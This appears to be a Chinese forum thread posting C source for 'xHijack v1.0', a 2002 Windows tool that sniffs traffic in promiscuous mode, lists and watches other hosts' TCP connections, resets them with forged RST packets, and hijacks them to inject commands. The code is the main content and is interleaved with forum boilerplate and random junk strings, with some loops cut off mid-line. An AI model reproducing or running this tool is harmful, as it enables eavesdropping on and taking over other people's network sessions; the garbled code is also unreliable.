//功能:重置所有于ACTION有关的标志
" w4 ~$ m9 ?9 T' ?6 D# `, R6 a5 I//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

void ResetActionAllFlag()
4 Q9 P, H# C% t{ # M5 t0 q2 T0 ~- V
  g_dwCtrlConn = 0; 4 j" [. [) Q/ `; i, D% E  d: Y: C7 D
  g_pCurrCtrlConn = NULL;
9 c+ B' G$ l' x) [6 O$ {) ^2 i2 j8 p  g_dwAction = ACTION_NONE; 4 ?5 I% ^4 J$ i7 r3 Q" D  E3 y* L1 d
} ( i* `! w7 r1 R+ |

, A% M$ z- Y% y9 j7 l, T//
1 z. o- k+ W$ |$ B( {//功能:处理Ctrl+C和Ctrl+Break事件   q8 J! H% i8 ]+ f% R- i
//
. \/ p" [+ m5 Q, J' N0 uBOOL WINAPI CtrlEvent(DWORD dwCtrlType) , ^! F- U. M) x! d
{
# H! s! x% \& q9 h% ~/ l  switch(dwCtrlType)
9 ~; A8 W% x) f! V( @, {$ ?  { , a' }2 I) S, D; Y5 [& {8 ?) D
    case CTRL_BREAK_EVENT: * f: b, l: N  r! C$ V% w2 K
      //reset action all flag - p0 }9 I2 ^% N8 S* S8 C* c2 ^
      ResetActionAllFlag(); % P# _; G; I6 Z# Q; |4 o
      break;
  ]6 r1 w1 I2 J+ q5 o* C, A6 ?    case CTRL_C_EVENT: ) Z; |! X# q, [2 k( L2 P/ m
      //terminate all thread . J1 ~$ s$ Y/ [& M. m
      TerminateThread(g_hThread[0], 0); 2 v$ w& L! v- V7 p8 j# {$ M
      TerminateThread(g_hThread[1], 0); 6 H3 {7 U& p% f. w1 Q9 v5 u5 ^2 w1 B+ _
      TerminateThread(g_hThread[2], 0);
; j+ G. u  \* h8 Q, N+ q      TerminateThread(g_hThread[3], 0);
! C9 d8 H* L0 C* S% z      break; 0 p, P1 O! L! A4 `7 D
    default: . w+ U/ |. x( A
      break; . [  _  n% o6 X. ~% I9 r+ C3 L
  }
3 L" B" B' R3 s, h  return TRUE; ; B* U! X- i! B& t+ q
}
. q9 h( `; R. i+ g+ j" y2 i& {4 @$ {7 G8 B: \7 q: k4 g+ V
// , ^7 o1 f1 F/ V2 \
//功能:处理用户输入
& n( i, L& `' j9 @& V/ I) A//
# @0 `/ B* _* w% @- X$ XDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos) 9 W# C( |, Y3 I
{
) f. Z) r; ~6 e! l6 e% c' ?  DWORD  i; % w: t% s! `6 ~4 ?# L
  char  szBuff[16]; 8 p9 O$ ?+ c3 H* Q, w2 S+ a  e

* k. u) @. d: l6 P  *lpCommandPos = 0; - d# [: J. s! ~3 J  }+ O9 j" o
  for(i=0; i<15, i代码比较乱 . a% Q% ~: h1 E8 Z0 k+ Z
//
  M. A1 K; J, NDWORD WINAPI InterfaceThread(LPVOID lp) 3 \; \; h1 ^7 X( Z4 W' N
{ $ s6 V3 U9 h/ t% r4 c5 [
  char  szHelp[] =  "l\t\t<-- List all connections\n"
0 W: ~0 X0 X; X            "r x\t\t<-- Reset the number x connection\n"
. B4 j; _5 j7 m            "w x\t\t<-- Watch the number x connection\n"
1 ]1 q" Y- S. P* U* |, U8 e" }            "h x command\t<-- Hijack the number x connection to execute command\n"
0 Y4 g- \3 F, s) h8 C8 ?& Y3 x            "[Note]\n"
5 a; C3 m1 f' `) C/ g$ k            "Ctrl+Break to clear all action\n" ' @+ [2 d/ X" Y/ Q8 q
            "Ctrl+C to exit\n";
% q6 i: F4 ]; G* Z  char  szPrompt[] = "\nxHijack>";
- J: H( ~* x/ E  char  szBuffer[128];
# T8 @% H( i5 ~  u; L. |  DWORD  dwPos;
) r( q; p7 Q# b2 M  PCONNINFO  pTmp;
. c3 Q# J* U3 S+ p: r
( ?: t( ]2 k0 _0 ~+ ]  ]/ h, V  while(1) 6 g; s1 v- ?; W9 ?. j/ ]- t
  {
# }1 h* ^5 L2 B2 O' `    gets(szBuffer);//不考虑buffer overflow ' g# m$ ?6 S$ ?% u( T! j) ^
    switch(szBuffer[0]) 6 I& `7 A6 \) d) W
    {
1 K; s& i5 J1 o6 Q+ I& N      case 'l': 3 {+ Z8 ^" A8 z* F+ `1 f( d& q: u0 {
      case 'L':
" ?' L* a1 l' R3 r( ^0 G, B2 _8 ]        ListAllConnection();
# E5 H4 u5 |4 J+ u        break; $ Y/ K, ?5 X5 {- q" x* k' O
      case 'r': 7 R2 K: u( V* P! Z5 G- X
      case 'R':
1 B( p, {, j# j* j- H        if(strlen(szBuffer) >2) . I2 c& e2 j; s4 l
        {
- u! _, G4 V4 y* X          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
( a" z( P0 t$ s+ ?          g_dwAction = ACTION_RESET;
2 o9 U; }. \& l3 h) l        } 5 z1 b9 Z; M, N- n, @/ m% |4 q
        else printf("%s", szHelp); 0 G3 Q. G. S2 Y  z3 Z' U; e3 E
        break;
9 x! A2 Y# l6 L: P* P$ `5 R) M3 @      case 'w': $ W/ t1 C: b* v2 v+ V# W; u
      case 'W': : m1 e; h4 o  r( ~& I1 b5 W1 z
        if(strlen(szBuffer) > 2)
" a' m" l* \# Q0 ?        { , W( j# A# ?6 B: g
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 8 d& p0 @% F6 \6 {+ O8 u: j
          g_dwAction = ACTION_WATCH; ; I3 ~$ A# N5 n' ^' M* J
        } % m1 s# p2 Y- i/ s6 y
        else printf("%s", szHelp); - Y. p+ Y( s( T  m
        break; 7 D/ k- m7 q7 e8 h5 k3 A
      case 'h':   X( z3 B1 J$ @+ I" B4 v5 M
      case 'H'://h 1 xxx
* R, a$ A* O6 H/ Q4 l+ ?        if(strlen(szBuffer) > 5)
1 T8 ^6 R/ y4 ]  @! H        { . n8 G2 i' ~3 w5 i" Q
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); - D# u2 C) {! ]# m: _$ U' u
          //如果command第一个字符是'或"
. D2 o. F% H- }6 p3 ~3 k          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
8 U1 e7 d( {9 }& `          {
+ R" W9 o0 i) y- E3 Z            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
* C3 \. d" e- R* ^# z4 ?3 u            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
' X8 m$ F: {% ~6 K          } 1 {. }8 B4 `& R9 F& Y3 }  L
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
( k) m5 J! t4 w: U6 L          strcat(g_szCommand, "\x0D\x0A");
6 {+ C( L4 B" u" ?7 k          g_dwAction = ACTION_HIJACK; 0 K* C  |5 b! J! j
        } : R2 L5 q0 ^( Z9 R# w, a
        else printf("%s", szHelp); 8 @( D1 B4 h& q$ |1 L5 F
        break;
2 t/ l& ~  Y9 u! Y' k. [8 c      default:
5 \! B1 h+ K5 N+ o        printf("%s", szHelp); 0 D, @* U# C! v! i7 G
        break;
! Y! p2 y3 t) {( O    }//end of switch
' f: g- r) {! l; @, G( ~7 N    //find the specify ident's struct point 8 }. z2 z7 v4 d  E
    if( (g_dwCtrlConn) && (g_dwAction) )
! |* L1 d, U6 q5 S! s7 d* d    { " Z7 }% T- f7 C. x2 d5 f
      g_pCurrCtrlConn = NULL;
% e4 N7 D$ G6 z) U8 s      pTmp = g_pConnHead; / T. v6 C+ X, |; `0 F! e8 s9 @
      while(pTmp)
% C/ q- I# V) [+ Z      { " R- s  v! m* g3 `
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) ) ; O  a! q4 H! i: h4 G) Q
        { ) d. t: B/ A3 T+ {$ Z: d7 V
          g_pCurrCtrlConn = pTmp;
4 w* n8 H2 U* x          break; - r7 n. p9 z& T. p
        }
1 O( e) U: |7 h. K% g6 U        pTmp = pTmp->Next;
* W1 W% O9 e3 ?2 l8 u9 Y      }
* X- [' h/ G! M& q. w. ?; }7 X& E      if(!g_pCurrCtrlConn)
; h/ S  f% R9 G7 l      {
$ W- p) ~/ p3 t, E        printf("Can't find the number %d connection.\n", g_dwCtrlConn); 3 h6 T; }; c- l+ Z/ y
        //reset action all flag 8 y/ z) `& S/ t: C+ e7 p
        ResetActionAllFlag();      
8 u. N1 {& W- C/ w* h% l5 P7 Y      } ! P, x- L  s$ R9 c' `
    } ; ]. T$ {* V+ x7 `9 Q/ Y* q" d
    if(!g_dwCtrlConn) ResetActionAllFlag();
6 v: U: h4 |0 H    //显示当前用户所期望的动作
. D2 G3 W2 k- I    printf("\nCurrentAction:"); % q0 D6 `7 B  O
    switch(g_dwAction) & \) i0 n. K6 m: ]; |
    { # k4 e" O- ]: ?, d+ ^$ V) g
      case ACTION_WATCH: 1 k3 t3 u" i* A/ @* X, ]* s
        printf("ACTION_WATCH"); . ?: t2 T8 G# m
        break;
; T& G, b- i! P" |, A      case ACTION_RESET:
9 y! q$ @) f7 ?$ p0 h7 E/ ^8 {+ J        printf("ACTION_RESET");
: E( X; A5 e0 P$ s' R        break;
  h1 j9 X: A8 g7 @0 [9 A" E      case ACTION_HIJACK:
: O! e# T1 v7 k        printf("ACTION_HIJACK"); # Z! ?+ p" F0 v
        break;
' _$ t& P; ?# g# U      default:
8 X1 K9 J$ H; |4 b# U0 p        printf("ACTION_NONE"); ( N9 m' f  ^3 l2 ]' q% f* ?% h3 L
        break; ! `! R, S7 x( g
    } + x0 W! L7 V0 S9 o
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
' @2 ]$ v( T  m" K7 P  }//enf of while + D/ r, w) I! K0 ]) Z: L( l$ n
  return 0; 5 k. }+ \: P& v! ?
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// 9 x) J2 i, W& R% ]6 e* v9 o //功能:列出当前所有连接 / j4 @) G; p" t // / a" D8 M' K( m r5 {$ Z8 c& A# bvoid ListAllConnection() : p' w, c% ?1 [% N{ 5 m2 H5 D0 N/ _) ?- }1 }2 y$ F PCONNINFO pTmp; 8 U& f& k L# o% h1 J* E SOCKADDR_IN saDest, saSource; ; N$ ^2 J7 g) @ pTmp = g_pConnHead; $ P9 H9 \; M, Z) p( Y while(pTmp) $ g/ B& d, R" [7 s { ! t5 x+ `' t ]( e if(pTmp->bActive) 0 j, o A4 G. u { 3 s' r! x- j V% S* O/ Q saSource.sin_addr.s_addr = pTmp->dwServerIP; 0 p$ j d0 E0 l6 ]( e- `# ? saDest.sin_addr.s_addr = pTmp->dwClientIP; / u+ e0 Y# k, W0 t* U printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ' u2 s5 w# ~$ ~3 b ntohs(pTmp->uServerPort)); / K- l2 | @7 W" R& ?$ z printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); # J* B" E' M9 _" r+ Y2 o } 9 r+ J+ A& w) k- p pTmp = pTmp->Next; 2 S( r# x: | D1 u } ) i1 Z9 Y2 I- n} " a3 _ i0 W m/ C2 | # S& V8 l) V4 a+ ?9 q6 A2 ~ // 8 A$ j- K# z) ~ r' }, q) o9 J# O //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 # I" B. N: Z9 z" Z2 L// 6 {! T# `- h. s* a- ~LPADAPTER InitAdapter() ' H s" g: n" h" q; f{ 4 w$ h9 |& u' z LPADAPTER lpAdapter; ! s ~- ?; `% z' O9 e) A. K# v! G# t static char AdapterList[Max_Num_Adapter][1024]; 1 n i! ?0 s0 e% f! L char szSelectAdapterName[512]; / z6 ?8 x9 J1 [% X, S: B3 Y3 g WCHAR AdapterName[2048]; 4 j5 [' q+ R- T2 g4 y9 o/ P' y WCHAR *temp,*temp1; : ?/ `! g9 K! d7 l, [$ x8 R ULONG AdapterLength = 1024; 0 |9 h8 _* J. k; R int iAdapterNum = 0; , W- j2 D& x0 m$ _1 } int iRetCode, i; $ h! ~' M ~5 G' X5 c int iAdapter = 0; ) c* w# r G1 a ULONG ulLen = 0; " X1 S/ o( x; N. G DWORD dwRet; : Q0 j9 E+ \' m7 m PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; , M+ K! g p$ H0 H PIP_ADDR_STRING pIPAddr; 3 I! h, K4 T5 A+ p 8 _) Z3 m0 M t6 |/ b; m //Get The list of Adapter % { L: Q+ ]! g% D/ n% s5 U! h if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) 5 @+ R, n, ~. o/ B7 O* p( U- v { 6 p- e* O; V, z% k8 g# w printf("Unable to retrieve the list of the adapters!\n"); / C' f; _% t* k7 D1 t) v" u return 0; & p( z# n& t# V& K. e' w } 8 e; u5 v) _0 ~$ Z temp = temp1 = AdapterName; ( H* S% t" _& B3 h: Z i = 0; 6 u4 Y) e& Q! I! v" q b: \ while ((*temp != '\0')||(*(temp-1) != '\0')) . u2 d2 O( s' `" S8 r { - v3 V" N; ]3 S, ]3 R% l0 N# y if (*temp == '\0') & l c% G m' A6 W { : f. l+ ^/ N& T/ h6 p/ o memcpy(AdapterList,temp1,(temp-temp1)*2); . O! h, Q- u, z* ~" }* d printf("%d - %S\n", i+1, AdapterList); 7 l8 N, s: _& U0 Q. J: R temp1=temp+1; ) A3 A4 m6 v$ ^/ r9 k6 y i++; 4 Z+ a" P; U0 ~9 t3 h7 f8 ^& i } * U% S6 }! A( J temp++; - {- V+ d+ m" F; T; g' F0 K+ s8 m" s! d } ' a+ @. a h- d% f1 O% T //choose adapter : t8 p% k' I' Z' a) Y3 F+ K while((iAdapter <= 0) || (iAdapter > i)) % C$ G' @$ {- h3 u { - ^* u4 ~2 C9 u printf("\nPlease choose your Adapter:"); 6 l! ~/ y9 J/ D8 j7 ^2 h! i scanf("%1d", &iAdapter); ! M( w4 e9 t7 C3 \, t6 } K8 k } % ]9 [3 @. O, x$ x2 L4 `7 n printf("\n"); 7 T0 \3 C% K2 j //---------------------------------------------// 4 |4 g( H2 O# K! v8 m( y" t //这里调用iphlpapi来取得本地ip_addr和mac_addr ( o7 y8 Q/ Q3 j8 D9 l sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); 6 N$ C$ I$ |8 x/ {0 x dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 9 [/ f$ d6 r$ }1 y if(dwRet != ERROR_BUFFER_OVERFLOW) 5 U: }* ^# D4 ~9 B) h { % Q P0 Q" s% o" C2 N3 _( O printf("GetAdapterInfo error:%d\n", GetLastError()); % D. O, t$ @( J7 Q& Y0 v return 0; # V1 h: S" m! c S } 5 r) I# F# M$ ~% I5 O pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 6 }6 j' c- n- r$ L9 w- Z; o2 c if(!pAdapterInfo) t7 @; \0 k `5 z/ E { 6 n$ U: `" H) t$ l) p$ k* r printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 4 }( q* w& a$ f- b: s9 Q4 w& \4 Q return 0; / [7 O! o7 p$ L; g" S } 9 G& V c8 O7 _1 j& C: ?% y dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); 2 j- O7 b. }8 n/ ]6 r7 ~ if(dwRet != ERROR_SUCCESS) : l+ g) `& e) b { 2 c9 M7 P: Z3 b w! L+ c& F printf("GetAdapterInfo error:%d\n", GetLastError()); 7 z+ \1 E& t% \( D0 [0 \ return 0; # k* H2 P7 t( [% `4 ^. a } * j8 m* ^, h( a' N' G! L" F0 k7 D I pTmp = pAdapterInfo; + U5 x# U+ e; R while(pTmp) ( G' f' T# o2 t/ @& p, I { , E( [# n) ]* R3 T P //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) ( w+ G- K, e, A$ u. f3 R { ) }6 f( J+ C; {1 n# p2 B5 @4 E //found it,get own adapter mac address $ F+ C5 m. ]5 _1 V memcpy(g_szOwnMAC, pTmp->Address, 6); l& _( F2 l4 e //get ip address : c5 t+ b8 }# S! A$ ^# L) q pIPAddr = &pTmp->IpAddressList; ) [5 v/ p, O4 f while(pIPAddr) # g3 f U# M6 ^4 Y1 G { L4 ?! ]1 i6 o- A$ c8 v g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); 6 p1 v1 X9 j2 P) J/ [( Z# { pIPAddr = pIPAddr->Next; ; K( B' O8 W- f' E+ K if(g_TotalIP >= Max_Num_IPAddr) break; : y* t' ~; O/ a' @2 F6 k3 A } 8 X K- f' ]: u; J! D break; ' G# o. e8 P# u' j2 A; u, E } . x$ ^ p, G. M! _4 Y pTmp = pTmp->Next; # H# C. a, q( _ } & t, G( }$ O% H free(pAdapterInfo); : k8 l. J% M5 x6 h9 u# h //not found,return zero , N! O) J8 h5 F if( (!pTmp) || (!g_TotalIP) ) return 0; 8 C2 p( F# ~0 Q1 ^ //---------------------------------------------// 9 l3 T& R$ t& J. l, T' m2 g //open adapter : B# r/ Y2 A7 N+ m6 M% f lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); 0 I4 }, r5 s" m) K+ A" q if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) J* {; \! R: H- G+ ] { & d# e, C8 |4 ~" m0 y3 Y- W iRetCode = GetLastError(); : [& e; e- _7 C% z) a printf("Unable to open the driver, Error Code : %lx\n", iRetCode); + a+ W5 G: H6 N# N; Q6 V return 0; 6 E" N# @/ N9 U } $ X' C! M3 |( e. W2 p' Y5 i8 w // set the network adapter in promiscuous mod ! [5 o( p: O' m if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) % [; @* ]& X }# C { - r; }* a3 E# l9 h7 u printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); & N& g/ j, j9 F) m if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) $ Q7 n9 k3 u* X1 ]" o { ( D c$ G. U% B! W: i printf("Unable to set ALL_LOCAL mode!\n"); 0 Q3 d3 z# |; ~& F7 m5 I& j2 I, x return 0; + V: m/ p j4 s; A- Z7 ]8 ^# j( s+ x } ( H. n) x) z+ J* p$ q1 e } + v. I6 {& ?- ]8 q% c // set a 512K buffer in the driver ; V$ F$ n! i6 w A; P0 K if(PacketSetBuff(lpAdapter, 512000) == FALSE) 3 H7 c+ U/ r) n& {& T: G { $ N/ \8 I2 R1 _, B g( V printf("Unable to set the kernel buffer!\n"); ! T" n5 w8 @1 Q! j" v. @% ?% e. H# v9 n return 0; 3 z8 n; q7 d( F$ ?: q8 f } : s- e/ ~7 u% |; d // set a 1 second read timeout . Z& R1 V% Q' |7 }( [ if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) 9 Y$ [2 t ?9 g* e5 j" m5 w printf("Warning: unable to set the read tiemout!\n"); ' k" ]% F/ o7 z if(PacketSetNumWrites(lpAdapter, 1) == FALSE) 4 K' l3 M1 p! X8 r printf("warning: Unable to send more than one packet in a single write!\n"); " c; T- ? \7 Y/ _; j: q c //设置发送的packet 9 ^; q. e& B3 F9 Z& O3 A4 @) H2 ? g_lpSendPacket = PacketAllocatePacket(); 5 ?0 t% F& t4 x. o5 K$ O' l if(g_lpSendPacket == NULL) 0 }1 `% }& J* S' w1 b) h u4 I4 m { + G. }7 H4 G+ `0 C3 q printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 9 ] j" X; }6 J6 c return 0; 2 F; V0 e2 m0 S. H+ x0 J. Z } 3 A; B' A, D- X* e8 S ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); 9 v" k+ |$ z* f2 w' F* d PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); |/ Z) W1 L3 P, V$ L# e; D return lpAdapter; & Z% H% T0 ]# L+ X. y, A9 o} 9 ]. H& u9 z4 `* A( O ! k' W; ^$ t# k4 k8 L" p6 W. |5 s//功能:帮助信息 # M4 i2 S4 j8 \. Vvoid usage() 3 O2 ^9 T& N$ L- q4 z { 8 G" @) ], U# E6 j printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" 2 ^( Y% @" k( G& ~! m& N "By eyas 2002/8/19\n" 2 L) K. O' J3 |2 x; ?9 _ "http://www.ey4s.org\n" 2 ^6 l% j8 c4 Y. l# }4 D) f1 s' k "Thanks to Refd0m and shotgun\n\n" . @- ~! n# H2 L- L "Usage: xHijack ServerSide ClientSide\n\n"); # [1 y( C& b/ _2 F7 o# e} 5 V8 s2 u' O& e! a/ Y7 T. z1 R$ `4 h* p- Q // 0 I5 |- C }7 E0 h3 f//功能:显示数据包的一些详细信息 , f& D$ m3 Z( b9 K9 y( }" Y i# S4 j// + k8 i+ L8 J7 g6 sVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) ; T0 O W& v) o2 ~8 P# W { 4 C& C% [1 B# ]0 k5 q SOCKADDR_IN saDest, saSrc; ; D8 E5 W: {8 [- O+ b" H7 o3 X3 a unsigned char FlagMask; 9 Q9 w+ l4 r2 Z' u* D; ?+ y int i; ; \7 n' b5 x- W' s ) A- C) @, m9 b saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; $ F G8 x4 n8 ]( S% y$ d& F saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; ! L3 o% ]9 {0 h7 J$ U5 `+ n& r* v! } printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); * y" A( D& J5 y printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), $ e' }4 l% |6 K8 ^ ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); . M2 t) S4 ?! I7 @/ I' I //display TCP flag 9 c; D8 n2 a. s/ Q( F* _ for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) - @& A, U9 c% ]/ i' x8 C! ` { % g5 Z7 |7 u2 \9 a3 m! d, l+ x0 _ {5 q1 s if((pTCPPacket->tcphdr.th_flag) & FlagMask) " W- D7 ?& [0 E4 F printf("%c", g_szTcpFlag); & q3 g$ F1 C, }! E else printf("-"); * E7 f; P5 z3 o' _ } 6 o8 j Z8 Q0 Y9 e printf("\n"); " L3 K- f8 A/ i: I% W- e //如有需要,可显示更多详细的信息 1 m3 \# z* I9 p- f& f- N if(bDetail) # h" y% L2 s9 e8 Y) s s printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ( {+ Y7 H: s) c4 Q' Q( C0 O} $ Q) }1 n( K# F2 @/ I5 C7 P, P9 p( ~" W a2 { // $ o+ S$ i& |! H# H4 x/ \7 E- B7 ~ //功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 : ]: }! ^9 ~0 C% e// 1 z* K0 S$ e: \ DWORD WINAPI AnalysePacketsThread(LPVOID lp) ' z3 `, B x! U" Q, y+ E" ?+ K{ 7 @/ C+ l7 h( s0 X ULONG ulBytesReceived; " B7 Z3 {3 `* U3 ^5 p' A) y1 c9 X USHORT usDataLen; * j. \. x' G; I, E! H/ p/ y //USHORT usIPHeadLen, usTCPHeadLen; 6 [" F3 N4 w, N$ M! R1 Z: J char *buf; / b; V$ V# D& O8 Q; l, \+ ` u_int off, i; 2 k* L* c% e( q; t/ C PTCPPACKET pTCPPacket; & V2 d) N( \% _' x struct bpf_hdr *hdr; * `: N8 l$ x/ ~& N, U0 b LPPACKET lpRecvPacket; 9 n/ G7 w" f. p char szPacketBuf[256000], *pStr; $ r. I/ @1 W9 t$ \7 o6 y) Q* x% ` BOOL bDeleteNode, bAddNew; $ e! e8 r1 u- A. M [* ^ DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 + j. M5 }5 a8 c3 o4 x BOOL bClientToServer;//数据包是否从客户端发送到服务器端 B' D- V1 S( X6 Y% X/ l4 l 5 I5 ]- ] n' O8 M, Q4 e //设置接收的packet 8 N0 g# U. ~( ~( ^( \2 a3 w lpRecvPacket = PacketAllocatePacket(); " F) C. V h$ H, x if(lpRecvPacket == NULL) : r" ^! [" G. |8 Z5 O5 r8 y: Q/ b { " N! c: g9 b+ G; `1 _ printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 2 W4 a$ M- l0 P" o return 0; 2 Y, C0 M$ O( B7 h! j } 4 U% v) V5 [6 x- Q8 r5 _ O ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); 7 n6 Y; ?% ^: F2 K; I4 d9 ?- r PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 8 L: q. x6 F' L2 @- F" j' d while(1) - _% f: j, q/ f9 i$ U( T; m6 w% g ] { $ d# C, N9 U5 T // capture the packets & ^: e3 r7 J8 Y) Z if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) 3 C2 E! ?" o* C' A2 y" z/ F { , z3 H4 C* G) P3 Z) B. v. J4 L7 w* J3 s printf("Error: PacketReceivePacket failed.\n"); " K* d2 Q+ E6 Q$ ?6 { break; 8 A/ r4 S! }3 X4 ^6 B } , w0 f+ Y9 H1 F3 S ulBytesReceived = lpRecvPacket->ulBytesReceived; + b7 L+ `7 q' W6 ?- ]! b( x buf = lpRecvPacket->Buffer; 2 ~2 T% |/ |/ m* ~! h( }8 o off = 0; ; t( \/ l6 }7 m( `4 X/ l7 c Y7 j while(off < ulBytesReceived) / G3 ]( X& c" t, }% r5 y1 K% d { ! n, C7 S ^" p! y8 T; S# Z5 S4 a hdr = (struct bpf_hdr *)(buf + off); 0 E& k# a7 l4 Y: _. b0 e) _# C off += hdr->bh_hdrlen; ! L# C% \" h% y/ ? pTCPPacket = (PTCPPACKET)(buf + off); * P% w2 ?; T( j* R3 X" S" ? off = Packet_WORDALIGN(off + hdr->bh_caplen); \, M- i/ K- t5 Z: }# Y# J //不需要处理自己发出的包(转发或本机发送的) 7 c; Q& Q8 O7 Q6 \8 Y if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; " b/ p! A* C! B$ s) u, @ //检查是否IP包 , l- Q: P1 Y1 k% ~; G6 O% |* }! t2 X if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; 1 N2 ^. _$ j4 ? //检查是否TCP包 $ K4 L3 a0 g! c m& v if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; : Z5 f; ~# I1 W6 M0 F6 c/ E7 Z //也不处理DestIP是自己的包 & i7 {& Q9 n8 u: P% \2 E8 V for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); # z2 v3 I6 R8 z
            //reset action flag % |8 X9 O! d+ M+ e% d% s
            ResetActionAllFlag(); 3 Q+ w9 `; t1 F  Q$ O9 O' k4 @
          } - K! y6 t8 I" i/ |
          //start hijack 1 l1 @  g  Z5 b  h4 N( w+ n1 e
          else if(g_dwAction == ACTION_HIJACK)
; ^, P( D: _, b! v* k% c          { - O, l! U# ?% @9 J& l( a5 v1 a
            //send rst packet to client
6 u1 ^; e' t1 h8 F            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); + j/ p* p, r# o
            //send hijack packet to client - Y( t4 @, b1 f5 `5 U, R* r
            SendHiJackPacket(pTCPPacket);
* ]/ x+ w$ O; A+ ^" D4 X7 H' B            //reset action flag / Q9 d/ ^4 Q* q
            ResetActionAllFlag(); % w1 g/ S* v; x, t) ?8 p
          } & d/ |- G: E  q  i: J
        } ( g! j! R! g6 Z1 g
        //show the tcp data % b8 O& f) \  ?+ w+ S; P. s
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
6 p, d2 Y: q$ Y        {
! {$ Z; ]3 A4 E" K! R# A: L) ?. S1 g          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); ) {% G9 }+ l8 }$ }- {5 w9 K3 y
          //暂不考虑IP、TCP头不是20字节的情况 : a5 B1 u6 x2 K3 _: p0 Y% e# X
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; # `& M% u/ U& K$ `& x6 a9 q
          pStr = (char *)pTCPPacket + 54; 3 c3 h( a, d7 H9 ?+ ~% r
          for(i=0; i        } * C+ O. }& b( F5 h
      }
$ ~7 s/ G9 R0 b) m6 w3 R/ K      //debug output   t: \" g' z+ y5 y' r4 d7 _
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); ) G5 Z! o  P. J( |% E( J  ^
    }//end of analyse packets while
; J% }! p/ K, U. P  }//end of recv packets while
. i4 u- q3 s( i0 R  PacketFreePacket(lpRecvPacket); # K4 `+ |) q" C/ Q
  return 0;
6 R" H  @, w+ P1 J" W5 @0 V( O" `}
9 D/ [( s* c$ Q2 f& Z; C  p5 w3 T. w! {4 c
  j4 ]) K* l; s6 _# ?) ?
//
+ p+ q" v) u/ o: Q//功能:操作记录所有连接信息的单向链表
) @3 f3 |9 r4 q// 2 q# F$ ^7 z& F& @: q
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, $ C( y% K" m; \! l, s6 O
